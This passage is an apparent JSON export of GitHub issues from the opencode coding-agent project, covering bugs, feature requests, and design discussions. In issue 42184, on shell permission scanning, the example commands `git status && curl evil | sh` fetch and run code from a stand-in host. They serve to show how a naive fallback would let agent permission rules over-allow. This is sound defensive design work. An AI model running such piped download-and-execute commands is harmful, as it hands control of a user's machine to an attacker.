        "text": "## 1. Row 15, column 66 this should probably just go away... it's not actually helpful. ## Catalog state - Screen: `help` - Theme: `opencode` - Link: http://localhost:4187/?screen=help&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoiaGVscCIsInZhcmlhbnQiOiJvcGVuY29kZSIsImFubm90YXRpb25zIjpbeyJpZCI6IjBmMzlkNjJkLTc3YTctNDFmZi1hOTM4LTgwMjM2MWQ4NzE2NyIsInJvdyI6MTQsImNvbHVtbiI6NjUsIm5vdGUiOiJ0aGlzIHNob3VsZCBwcm9iYWJseSBqdXN0IGdvIGF3YXkuLi4gaXQncyBub3QgYWN0dWFsbHkgaGVscGZ1bC4ifV19 <details> <summary>Annotation data</summary> ```json { \"version\": 1, \"identifier\": \"help\", \"variant\": \"opencode\", \"annotations\": [ { \"id\": \"0f39d62d-77a7-41ff-a938-802361d87167\", \"row\": 14, \"column\": 65, \"note\": \"this should probably just go away... it's not actually helpful.\" } ] } ``` </details>",
        "url": "https://github.com/anomalyco/opencode/issues/42182",
        "createdAt": "2026-08-12T23:40:44Z",
        "updatedAt": "2026-08-12T23:40:44Z",
        "timestamp": "2026-08-12T23:40:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "catalog",
          "design-feedback"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42184",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "core: shell permission scanning on runtimes without tree-sitter WASM (workerd)",
        "text": "## Problem `ShellParse.scan` is the foundation of shell permissioning: it decomposes a command into per-subcommand resources so rules evaluate each piece (`git status && curl evil | sh` → three resources). It is backed by web-tree-sitter WASM (bash + powershell), and core uses tree-sitter for exactly this one feature. On workerd the parser cannot load at all, for three stacked reasons: 1. Grammar assets are resolved from the filesystem (`locateFile`/`fileURLToPath`) — no fs in workerd. 2. workerd bans runtime WASM compilation (`WebAssembly.compile(bytes)` / `new Module(bytes)`); WASM must arrive as deploy-time module bindings. 3. Even with a precompiled Module in hand there is no hook to inject it: `Language.load` goes through emscripten's dynamic linker, which compiles grammar bytes internally. Today the workerd profile stubs the assets (`parser-wasm.workerd.ts` returns empty paths), so `scan` fails and shell is effectively dead in workerd Locations that have an execution plane. #42173 (now draft) tried the obvious fallback — on load failure, return ONE resource for the whole command with a `prefix *` save pattern — and it is unsafe: collapsing a compound command into a single resource makes prefix rules like `allow \"git *\"` glob-match `git status && curl evil.sh | sh`, and the wildcard save remembers that over-broad rule permanently. Silent permission-granularity downgrade, triggered by any load failure on any platform. ## Options **1. Fail-closed fallback (minimum viable).** No parser → the command is *unparseable*: resource = exact command string, save = exact string (never a wildcard), so only a blanket allow or an exact remembered rule passes; everything else asks. Strictly never looser than tree-sitter. Cost: over-asking in workerd for everything. **2. Conservative TS subset parser (recommended next step).** A quote-aware tokenizer + splitting on `&& || ; |` + simple redirects, with hard bail-out (→ option 1 behavior) on anything dynamic: `$(…)`, backticks, `${…}`, process substitution, `eval`, `bash -c`, variables in command position. Precedent: grok-build parses with tree-sitter-bash but then enforces a strict node-kind allowlist (`try_parse_word_only_commands_sequence`) — words, strings, safe operators, redirects only — and fails closed to Ask on everything else; their wrapper-peeling (`env`/`timeout`/`nice`) and whitespace-prefix (CWE-178) cases are a ready-made adversarial corpus. The existing ARITY save-pattern table is parser-independent and carries over. Since core uses tree-sitter *only* for shell scanning, if this subset grows to cover what agents actually emit (env prefixes, heredocs), it could eventually replace tree-sitter in core entirely: no wasm assets, no per-runtime seams. Open questions before \"replace\": PowerShell fidelity on Windows, and substitution-recursion UX (tree-sitter decomposes `git commit -m \"$(cat <<'EOF'…)\"` into inner commands instead of asking). **3. Static single-module WASM build.** Compile tree-sitter core + grammars into one module (no dynamic linking), import it as a workerd module binding, patch `Language.load`'s tail to wrap the already-exported `tree_sitter_bash` symbol. Full fidelity everywhere and it kills the whole `locateFile` asset-path fragility class — but core takes on an emscripten build pipeline and loses npm prebuilts, in service of one function. **4. Patch web-tree-sitter's dynamic linker** to accept `{ module, bytes }` (parse dylink metadata from bytes, instantiate the precompiled Module — instantiating a Module is legal in workerd). Smallest diff for full fidelity, but it patches generated emscripten glue that churns on every web-tree-sitter release. ## Suggested direction 1 + 2 now (2's failure mode is over-asking, never over-allowing), keep 3/4 as follow-ups only if the subset parser's ask-noise turns out to matter in practice. Interested in opinions on the \"2 eventually replaces tree-sitter in core\" endgame, particularly the PowerShell story.",
        "url": "https://github.com/anomalyco/opencode/issues/42184",
        "createdAt": "2026-08-12T23:57:43Z",
        "updatedAt": "2026-08-12T23:57:43Z",
        "timestamp": "2026-08-12T23:57:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42190",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Local MCP server spawned twice (duplicate process) on every Desktop restart",
        "text": "### Description OpenCode Desktop starts two instances of the same local (stdio) MCP server every time it restarts, instead of one. Confirmed with `ps -eo pid,ppid,lstart,command`: both server processes start at the identical timestamp, both parented under the same \"OpenCode Helper (Utility)\" process. Ruled out: - Config duplication - only one entry for the server exists in opencode.json - Multiple windows - only one window-state file exists, single window open Ends up with two idle duplicate server processes after every restart. ### Plugins _No response_ ### OpenCode version 1.15.13 ### Steps to reproduce 1. Configure any local (stdio) MCP server in opencode.json 2. Launch or restart OpenCode Desktop 3. Run `ps -eo pid,ppid,lstart,command | grep <your-server-command>` 4. See two processes with identical start times, same parent PID ### Screenshot and/or share link _No response_ ### Operating System macOS 26.5.2 ### Terminal N/A (Desktop app)",
        "url": "https://github.com/anomalyco/opencode/issues/42190",
        "createdAt": "2026-08-13T00:13:38Z",
        "updatedAt": "2026-08-13T00:14:53Z",
        "timestamp": "2026-08-13T00:14:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "andreasnikasinc-ctrl",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42191",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Local MCP server subprocess launch (Playwright) hangs forever when hosted by Desktop, works fine from a terminal",
        "text": "### Description A local MCP server that spawns a subprocess internally (in my case Python + Playwright, launching a Node driver + Chromium) hangs forever when the tool is called through OpenCode Desktop, but the exact same code and profile works correctly when run directly from a terminal. When hosted by Desktop: the call that should spawn the subprocess never produces any child process at all (`pgrep -P <server-pid>` returns zero children for 10+ minutes) and never hits its own internal timeout, even though that timeout is a plain `asyncio.wait_for`. A stack sample (`sample <pid>`) of the hung process shows every thread idle (asyncio event loop idle, stdio reader idle) - nothing anywhere near the subprocess-launch code. Running the identical script directly in a terminal (not through OpenCode) spawns the subprocess immediately and completes normally. Ruled out: Gatekeeper/quarantine on the subprocess binary, macOS App Sandbox on OpenCode.app, missing binaries, broken PATH/env, zombie/reaped children. Points to something about how Desktop hosts local MCP server processes (child of the Electron \"OpenCode Helper (Utility)\" process) blocking subprocess creation from within that process. ### Plugins _No response_ ### OpenCode version 1.15.13 ### Steps to reproduce 1. Configure a local stdio MCP server that internally spawns a subprocess (e.g. Python asyncio.create_subprocess_exec, or Playwright's driver) 2. Launch it through OpenCode Desktop 3. Call the tool that spawns the subprocess 4. Observe: no child process ever appears under the server's PID, call hangs past its own timeout 5. Run the identical code directly from a terminal - subprocess spawns immediately, works fine ### Screenshot and/or share link _No response_ ### Operating System macOS 26.5.2 ### Terminal N/A (Desktop app)",
        "url": "https://github.com/anomalyco/opencode/issues/42191",
        "createdAt": "2026-08-13T00:14:45Z",
        "updatedAt": "2026-08-13T00:15:45Z",
        "timestamp": "2026-08-13T00:15:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "andreasnikasinc-ctrl",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42204",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "MCP Proxmox MVP - Proxmox Server Monitoring & Basic Commands",
        "text": "## Problem Statement We need to build an MCP (Model Context Protocol) server for Proxmox VE that enables AI agents to monitor server status, access logs, and execute basic commands. This is an MVP focused on core monitoring and lifecycle management capabilities. ## Solution Build a TypeScript/Node.js MCP server that connects to Proxmox VE via API token authentication, exposing tools for monitoring and basic VM/CT lifecycle management. The server will use stdio transport and be distributed as an npm package. ## User Stories ### Monitoring - VM/CT Status 1. As a user, I want to list all VMs and containers on my Proxmox node, so that I can see what is running 2. As a user, I want to get the status of a specific VM/container, so that I can check if it is running, stopped, or paused 3. As a user, I want to get detailed VM/container information (CPU, memory, disk usage), so that I can monitor resource consumption ### Monitoring - Node Status 4. As a user, I want to list all Proxmox nodes in my cluster, so that I can see the cluster topology 5. As a user, I want to get CPU, memory, and disk usage of a node, so that I can monitor node health 6. As a user, I want to get node uptime and version information, so that I can track maintenance windows ### Monitoring - Storage Status 7. As a user, I want to list all storage pools, so that I can see available storage 8. As a user, I want to get storage usage statistics, so that I can monitor disk space 9. As a user, I want to get storage type and status information, so that I can identify storage health issues ### Monitoring - Network Status 10. As a user, I want to list network interfaces on a node, so that I can see network configuration 11. As a user, I want to get network interface statistics (traffic, errors), so that I can monitor network health 12. As a user, I want to get bridge and VLAN information, so that I can understand network topology ### Log Access 13. As a user, I want to read VM/container console output, so that I can debug issues 14. As a user, I want to access task logs (backup, migration, etc.), so that I can track operations 15. As a user, I want to access Proxmox system logs, so that I can monitor host health 16. As a user, I want to filter logs by time range or severity, so that I can find relevant entries ### Basic Commands - VM/CT Lifecycle 17. As a user, I want to start a VM/container, so that I can bring services online 18. As a user, I want to stop a VM/container, so that I can take it offline gracefully 19. As a user, I want to shutdown a VM/container (ACPI), so that I can perform graceful shutdown 20. As a user, I want to reboot a VM/container, so that I can apply updates 21. As a user, I want to get the status after a lifecycle operation, so that I can confirm the action succeeded ### Security & Access Control 22. As a user, I want to configure API token authentication via environment variables, so that credentials are secure 23. As a user, I want separate read-only and read-write access tiers, so that I can control what operations are allowed 24. As a user, I want configurable TLS verification, so that I can use self-signed certs in dev ### Installation & Configuration 25. As a user, I want to install the MCP server via npm, so that I can easily add it to my project 26. As a user, I want clear configuration instructions, so that I can set up the server quickly 27. As a user, I want the server to validate configuration on startup, so that I get clear error messages ## Implementation Decisions ### Tech Stack - **Language:** TypeScript/Node.js (ESM modules) - **Runtime:** Node.js 20+ LTS - **MCP SDK:** `@modelcontextprotocol/server@^2.0.0` (v2 stable line) - **Schema Validation:** Zod v4 - **Transport:** stdio (default for local MCP servers) ### Proxmox Integration - **API Access:** Raw HTTP client (not using `proxmox-api` library due to GPL-3.0 license and dormancy) - **Authentication:** API token only (`Authorization: PVEAPIToken=USER@REALM!TOKENID=UUID`) - **Base URL:** `https://host:8006/api2/json/...` - **TLS Handling:** Default strict, allow `PVE_TLS_REJECT_UNAUTHORIZED=false` env var for dev ### Tool Organization - Tools organized by resource type: VM/CT, Node, Storage, Network, Logs - Clear naming convention: `{action}_{resource}` (e.g., `list_vms`, `get_node_status`) - Access tiers: read-only tools vs lifecycle/write tools ### Access Tiers - **Read tier:** All monitoring and log access tools - **Write tier:** VM/CT lifecycle commands (start, stop, shutdown, reboot) ### Environment Variables - `PVE_HOST` — Proxmox server hostname/IP - `PVE_PORT` — Proxmox API port (default: 8006) - `PVE_TOKEN_ID` — API token ID - `PVE_TOKEN_SECRET` — API token secret - `PVE_REALM` — Authentication realm (default: pam) - `PVE_USERNAME` — API token username - `PVE_TLS_REJECT_UNAUTHORIZED` — TLS verification (default: true) ### Package Structure - Package name: `@drmfar/mcp-proxmox` - Entry point: `dist/index.js` - TypeScript compilation to `dist/` directory ## Testing Decisions - Unit tests for each tool handler - Integration tests against a mock Proxmox API (or real PVE in CI) - Test external behavior (tool outputs), not implementation details - Use vitest as the test framework - Test both access tiers separately ## Out of Scope - Snapshot management (can be added later) - Backup operations (can be added later) - VM/container creation/deletion (can be added later) - Complex networking configuration - Cluster management operations - HTTP/SSE transport (stdio only for MVP) ## Further Notes - Reference implementation: `@samik081/mcp-pve` (117 tools) - good blueprint to learn from - Proxmox REST API documentation: https://pve.proxmox.com/pve-docs/api-viewer/ - MCP v2 spec: https://modelcontextprotocol.io/specification/2026-07-28 - Self-signed certs are common in Proxmox - TLS handling is critical",
        "url": "https://github.com/anomalyco/opencode/issues/42204",
        "createdAt": "2026-08-13T01:09:28Z",
        "updatedAt": "2026-08-13T03:47:04Z",
        "timestamp": "2026-08-13T03:47:04Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "drmfar",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42210",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:提供单一会话内的大纲级别预览和快速跳转，方便在多轮对话之间寻找关键信息",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request 当前如果单一会话中已经有多轮对话，如果要追溯之前某轮对话的输入提示词，则需要拖动滚动条或鼠标滚轮去翻找，非常麻烦，降低了工作效率。所以，非常希望能加入单一会话内的大纲级别预览和快速跳转功能。 ChatGPT已经有类似的功能，详见下方GIF动图： <img width=\"1280\" height=\"592\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/48fc4751-6825-45b0-8432-264535226899\" />",
        "url": "https://github.com/anomalyco/opencode/issues/42210",
        "createdAt": "2026-08-13T01:41:21Z",
        "updatedAt": "2026-08-13T01:42:45Z",
        "timestamp": "2026-08-13T01:42:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "roy-tank",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42212",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "define managed service replacement authority across version skew",
        "text": "## Problem An intentionally downgraded Desktop cannot currently activate its bundled managed-service version when a newer service is already running. The current replacement predicate is directional: a newer client may replace an older service, but an older client may not replace a newer service. Desktop therefore fails with a version mismatch instead of completing the rollback. The alternative attempted in #42185 was also wrong: allowing an older Desktop to accept a newer service would produce a partial rollback where the UI is old but the server remains new. We need to decide who has authority to replace the shared managed service across version skew before changing this policy again. Related context: - #42023 added caller-defined compatibility predicates. - #42185 proposed accepting same-or-newer services and was closed because it prevents a real Desktop rollback. - Autonomous replacement ping-pong has **not** been reproduced in current behavior. It is a hazard to probe if unrestricted starter-wins replacement is proposed, not a current bug. ## Confirmed Repro ### Intentional Desktop rollback fails ```text 1. Launch Desktop/service version B. 2. Confirm the managed service health reports B. 3. Install and launch older Desktop version A. 4. Desktop A requests exact service version A. 5. Replacement is denied because A is not newer than B. Actual: Desktop A fails with a version mismatch. User intent: roll back both Desktop and its managed service to A. ``` This is the only confirmed user-facing version-policy failure in scope today. ## Scenario Matrix Build executable process-level repros for each row. Every repro should record client version, service version, service instance identity, PID, registration changes, stop/start events, returned endpoint, and final health. | Scenario | Starting state | Action | Result to decide | | --- | --- | --- | --- | | Normal upgrade | Service A | Launch Desktop B | Does B replace A and connect to B? | | Intentional rollback | Service B | Launch Desktop A | Does A replace B, isolate, or fail clearly? | | Stale CLI | Service B used by Desktop B | Run CLI A | May an incidental old client downgrade B? | | TUI reconnect | TUI A was connected to service A; service becomes B | Force transport reconnect | Does TUI A adopt B or preserve version intent? | | Concurrent versions | No service, or service A | Launch A and B concurrently | Which request owns the final version? | | Alternating launches | Stable service, then bounded A/B launch sequence | Launch A, B, A, B | Does the sequence settle, reject, or repeatedly replace? | | Restart persistence | A rollback decision completed | Restart Desktop/machine | Does the selected version remain stable? | | Active work | Service B is streaming or running a tool | Request authorized replacement with A | Is replacement blocked, drained, interrupted, or recovered? | | Capability skew | Incumbent lacks authenticated stop/replacement support | Request replacement | Does the client fail clearly, isolate, or use another recovery path? | The alternating-launch case must not be described as a current ping-pong bug unless the executable repro demonstrates autonomous repeated replacement after the bounded launch inputs stop. ## Decisions Required 1. Does an explicit Desktop launch own the desired managed-service version, including downgrade? 2. Is downgrade authority Desktop-specific, or do CLI startup, reconnect, restart, and update preflight share it? 3. Must successful rollback guarantee exact Desktop/server version alignment? 4. May an older client adopt a newer service? If yes, what explicit compatibility contract authorizes it? 5. How do conflicting simultaneous starters select one stable owner? 6. Does reconnect retain the initiating client's version intent or adopt the elected service? 7. What happens when replacement cannot be negotiated: clear failure, isolated service, user confirmation, or another state? 8. What compatibility guarantees exist for databases, durable events, configuration, and protocols when running older server code after newer server code? 9. What user-visible result is required when rollback cannot safely complete? ## Safety Invariants These should hold regardless of which upgrade/downgrade policy we choose: - A successful operation ends with one healthy registered service owner. - A caller either receives a live compatible endpoint or a clear error; it must not report a successful rollback while retaining the wrong server version. - Concurrent same-policy `ensure` calls converge on one final owner after arrivals stop. - An unauthorized client neither stops the incumbent nor starts a replacement. - A stale replacement request cannot stop a successor instance. - An authorized replacement does not start its successor before the incumbent exits. - Registration publication and cleanup preserve exact instance ownership. - Rejected, timed-out, unsupported, and accepted-but-not-exited stop paths have bounded outcomes and do not silently create a second owner. - Contention is bounded per caller and settles after new requests stop. - Replacement does not permit simultaneous old/new execution ownership of the same session. These are target invariants for the design and repro suite, not claims that current code already proves all of them. ## Required Evidence Before Implementation - Scriptable repros for normal upgrade, intentional rollback, stale CLI, concurrent versions, and alternating launches. - At least one real-process concurrent test, not only a pure policy unit test. - Version and exact instance identity captured before and after every transition. - A stated expected result for every scenario row. - Regression tests covering old-to-new, new-to-old, and a replacement-capability boundary. - If active-work replacement is supported, a durable recovery test that proves there is no overlapping execution ownership. Do not claim exactly-once provider calls or tool side effects. ## Out Of Scope Until Reproduced - Claiming current autonomous `A -> B -> A -> B` ping-pong. - Assuming semver ordering implies protocol or storage compatibility. - Claiming all downgrades are safe without proving backward compatibility of persisted state. - Prescribing authenticated stop, PID fallback removal, service isolation, or another mechanism before the scenario outcomes are agreed.",
        "url": "https://github.com/anomalyco/opencode/issues/42212",
        "createdAt": "2026-08-13T01:43:24Z",
        "updatedAt": "2026-08-13T01:43:24Z",
        "timestamp": "2026-08-13T01:43:24Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42213",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Desktop] Tab switch resets scroll position — returns to bottom instead of where you left off",
        "text": "### Description In the desktop app, scrolling to a position in a session, switching to another tab, then switching back resets the view to the bottom of the conversation instead of restoring where I left off. Makes it impossible to continue reading long output or compare content across tabs. ### Steps to reproduce 1. Open a session with a long conversation history 2. Scroll up to an earlier position (e.g. middle of the output) 3. Switch to another tab 4. Switch back to the original tab ### Expected behavior Restore to the scroll position where I left. If the user scrolled up manually, that position should be preserved on return. ### Actual behavior View resets, usually jumping straight to the bottom. ### OpenCode version 1.18.5 ### Operating System macOS 26.5.2 ### Related - #28120 — preserve scroll position on return (closed as not planned) - #35628 — merged fix: unmount hidden panes (scrollTop reset to 0)",
        "url": "https://github.com/anomalyco/opencode/issues/42213",
        "createdAt": "2026-08-13T01:54:57Z",
        "updatedAt": "2026-08-13T02:06:33Z",
        "timestamp": "2026-08-13T02:06:33Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "shiroe120",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42215",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Getting 429 Rate Limited In A New Sessopm",
        "text": "### Description The Bug I Encountered: Its been exactly 24 hours since this is happening. When I open OpenCode or the ZEN API for Free Models, It is continuously saying: Free Usage Exceeded, Subscribe To Go, But its already been over 24 hours, The Daily Quota should be resetted. It works sometimes and fails 99% of the time. ### Plugins No Plugins ### OpenCode version 1.18.16 ### Steps to reproduce 1. Start OpenCode 2. Start A New Session 3. Send A Request 4. Encountering \"Free Usage Exceeded, Subscribe To Go\" Even though its over 25 Hours Since I Last Used OpenCode 5. Compaction Had The Same Bug, It Hit \"Free Usage Exceeded, Subscribe To Go\" But it seems to be fixed. ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Powershell",
        "url": "https://github.com/anomalyco/opencode/issues/42215",
        "createdAt": "2026-08-13T01:59:58Z",
        "updatedAt": "2026-08-13T02:01:31Z",
        "timestamp": "2026-08-13T02:01:31Z",
        "metrics": {
          "reactions": 2,
          "comments": 1
        },
        "labels": [],
        "author": "evsphereofficial",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42216",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG] Cyclic symlinks in global skills cause blank TUI and unbounded memory growth",
        "text": "## Description A cyclic directory symlink inside a global skill causes OpenCode to remain on a completely blank TUI while skill discovery recursively follows the loop. On macOS, the process stayed alive, logs stopped at `message=init`, and memory grew to approximately 7.3 GB. Sampling showed a Bun worker repeatedly performing `openat` calls. Moving the cyclic symlinks out of `~/.agents/skills` fixed the issue immediately. With the same OpenCode binary and project, skill initialization then completed in about one second and the TUI rendered normally. This appears to be a more severe form of #27027. That report covers large symlink targets and slow startup; this case uses an actual symlink cycle and results in effectively unbounded traversal and memory growth. #27072 has a similar blank-TUI symptom but concerns project file scanning rather than skill discovery. ### Expected behavior OpenCode should detect an already visited directory by real path or filesystem identity, skip the cyclic edge, emit a warning containing the offending path, and continue rendering the TUI. ### Actual behavior - TUI remains completely blank - logs stop at `message=init` - the process continuously traverses files - memory usage keeps growing - no actionable error identifies the cyclic skill path ### Diagnostic result Following the affected skill tree reproduced recursive path expansion. After removing 16 nested symlinks that formed self and cross-directory cycles, the followed traversal contained only 177 entries and OpenCode logged `init count=10` before rendering the full welcome screen. ## Plugins None ## OpenCode version 1.18.16, installed with Homebrew ## Steps to reproduce > Warning: this can cause rapid memory growth. Run only in a disposable HOME and stop the process promptly. ```sh TEST_HOME=$(mktemp -d) mkdir -p \"$TEST_HOME/.agents/skills/loop-skill\" cat > \"$TEST_HOME/.agents/skills/loop-skill/SKILL.md\" <<EOF --- name: loop-skill description: Reproduce cyclic skill symlink scanning --- EOF ln -s \"$TEST_HOME/.agents/skills/loop-skill\" \\ \"$TEST_HOME/.agents/skills/loop-skill/self\" HOME=\"$TEST_HOME\" opencode ``` The TUI remains blank while the process recursively follows `self`. Remove the cyclic link and rerun: ```sh unlink \"$TEST_HOME/.agents/skills/loop-skill/self\" HOME=\"$TEST_HOME\" opencode ``` The TUI renders normally. ## Screenshot and/or share link No screenshot. The blank screen contains no diagnostic text. ## Operating System macOS 26.5.2, Apple Silicon arm64 ## Terminal iTerm2 3.6.11, also reproduced in an isolated PTY",
        "url": "https://github.com/anomalyco/opencode/issues/42216",
        "createdAt": "2026-08-13T02:04:51Z",
        "updatedAt": "2026-08-13T02:09:09Z",
        "timestamp": "2026-08-13T02:09:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "YoungSens",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42217",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "一个会话中执行完毕一次任务之后，继续发送文字 不会调用大模型的API",
        "text": "### Description 一个会话中执行完毕一次任务之后，继续发送文字 不会调用大模型的API，会话标题也不会调用大模型生成了，这个bug从1.18.16开始的 <img width=\"2218\" height=\"1338\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/beb47d5e-13ff-4aea-bef5-fe07c6731448\" /> ### Plugins _No response_ ### OpenCode version 1.18.17 ### Steps to reproduce 一个会话中执行完毕一次任务之后，继续发送文字 ### Screenshot and/or share link https://opncd.ai/share/V27fPwkA ### Operating System wsl ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42217",
        "createdAt": "2026-08-13T02:07:48Z",
        "updatedAt": "2026-08-13T02:09:11Z",
        "timestamp": "2026-08-13T02:09:11Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Gsww123",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42220",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Sync zh-cn agents doc page with the latest English version",
        "text": "### Feature hasn't been suggested before - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request The Chinese translation of the agents page (`packages/web/src/content/docs/zh-cn/agents.mdx`) is out of sync with the English version: - Missing the `Tools (deprecated)` marker and the deprecation notice (the English page states `tools` is deprecated in favor of `permission`, and that `true`/`false` is equivalent to `allow`/`deny`) - The Permissions section still lists only `edit`, `bash` and `webfetch` while the English page documents the full permission key list - Other content added since the last sync (e.g. the scout agent section) is missing The page was last updated 2026-05-08; the English version is 781 lines vs 754 for zh-cn. Additionally, the translation should use the unified terminology 智能体 (consistent with PR #41980 and the zh.ts UI strings). This will be fixed by re-translating the whole page against the latest English version in a follow-up PR.",
        "url": "https://github.com/anomalyco/opencode/issues/42220",
        "createdAt": "2026-08-13T02:19:41Z",
        "updatedAt": "2026-08-13T02:20:36Z",
        "timestamp": "2026-08-13T02:20:36Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "lianginx",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42221",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode -c in a new directory shows the wrong working directory",
        "text": "### Description Running `opencode -c` for the first time in a new directory (one with no prior sessions) displays a previous/old directory instead of the current one. The TUI resumes a session from a different directory. ### Steps to reproduce 1. Use opencode in directory A (creates sessions there) 2. `cd` to a new directory B 3. Run `opencode -c` 4. The TUI shows directory A instead of B ### Operating System Windows 11 ### Terminal Git Bash",
        "url": "https://github.com/anomalyco/opencode/issues/42221",
        "createdAt": "2026-08-13T02:20:21Z",
        "updatedAt": "2026-08-13T02:21:33Z",
        "timestamp": "2026-08-13T02:21:33Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "shinelon",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42224",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Large tool arguments (>~30KB) are truncated at the content boundary, causing \"Unterminated string in JSON\" — affects all tools incl. MCP",
        "text": "## Summary When a tool call carries a **real** string-literal argument larger than roughly 30KB, the opencode client truncates the tool-call JSON **exactly at the end of the embedded content** (missing closing quote/brace), and the call fails with: ``` The arguments provided to the tool are invalid: Invalid input for tool <TOOL>: JSON parsing failed: Text: {…content…}. Error message: Unterminated string in JSON at position N (line 1 column N+1) ``` The failure position **N always equals the length of the sent payload** — the string is cut at the content boundary. Small arguments (a few KB) work fine. ## Environment - opencode **1.18.15** and **1.18.18** (bug reproduces on both; upgrade did not fix it) - Windows 11, PowerShell 5.1, TUI - Reproduced on multiple tool types: `bash` (built-in), an MCP `run_script` tool, and `task` — i.e. it is **not** specific to any one tool or to MCP servers ## Steps to reproduce 1. Invoke any tool (e.g. `bash`) with an argument containing a **literal** string of ~30KB+ (e.g. a multi-line ASCII payload). Note: `\"a\" * 30000`-style runtime-generated strings do NOT reproduce it — the payload must physically be large in the tool-call argument. 2. The client rejects the call before it ever reaches the tool/server: `JSON parsing failed … Unterminated string in JSON at position N`. ## Evidence (position ≈ payload length) | Payload | Tool | Error position | |---|---|---| | 29.6KB wrapper (base85-encoded) | MCP run_script | 79,585 | | 70,100B raw script | MCP run_script | ~79,585 | | 137,466B pure-ASCII (no quotes/backslashes/control chars) | bash | 137,466 | | 189,623B pure-ASCII (nested) | bash | 189,623 | | 240,586B pure-ASCII | bash | 240,586 | | 1,035,824B pure-ASCII | MCP run_script | 1,035,824 | | 1,039,076B pure-ASCII | bash | 1,039,076 | | Small args (few KB) | bash / MCP | OK | Key observations: - **Character set is irrelevant**: 100% pure-ASCII payloads containing no quotes, no backslashes, no control characters fail identically. Base85 + JSON-escaped payloads fail identically. The truncation is purely length-based. - **JSON is truncated at the content boundary**: position N ≈ exact payload length, i.e. the closing `\"` and `}` are never emitted. - **Never reached the target**: the MCP server reported 0 requests received; all failures are client-side. - **Cross-tool**: bash (fully local, no network), MCP tools, and task tool all fail the same way. - Repro'd across two releases (1.18.15 → 1.18.18). ## Expected behavior Large tool arguments should either be transmitted intact, fail with an explicit size-limit error, or be configurable (e.g. a documented max tool-argument size). Currently there is no way to pass payloads >~30KB to any tool, which blocks legitimate workflows such as executing large scripts through MCP `run_script` or passing large data blobs. ## Impact - Cannot execute any MCP tool that requires a >~30KB argument (e.g. running a 70KB script via `run_script`). - Affects all tool types uniformly, not just MCP. Happy to provide additional traces (opencode.log excerpts, persisted 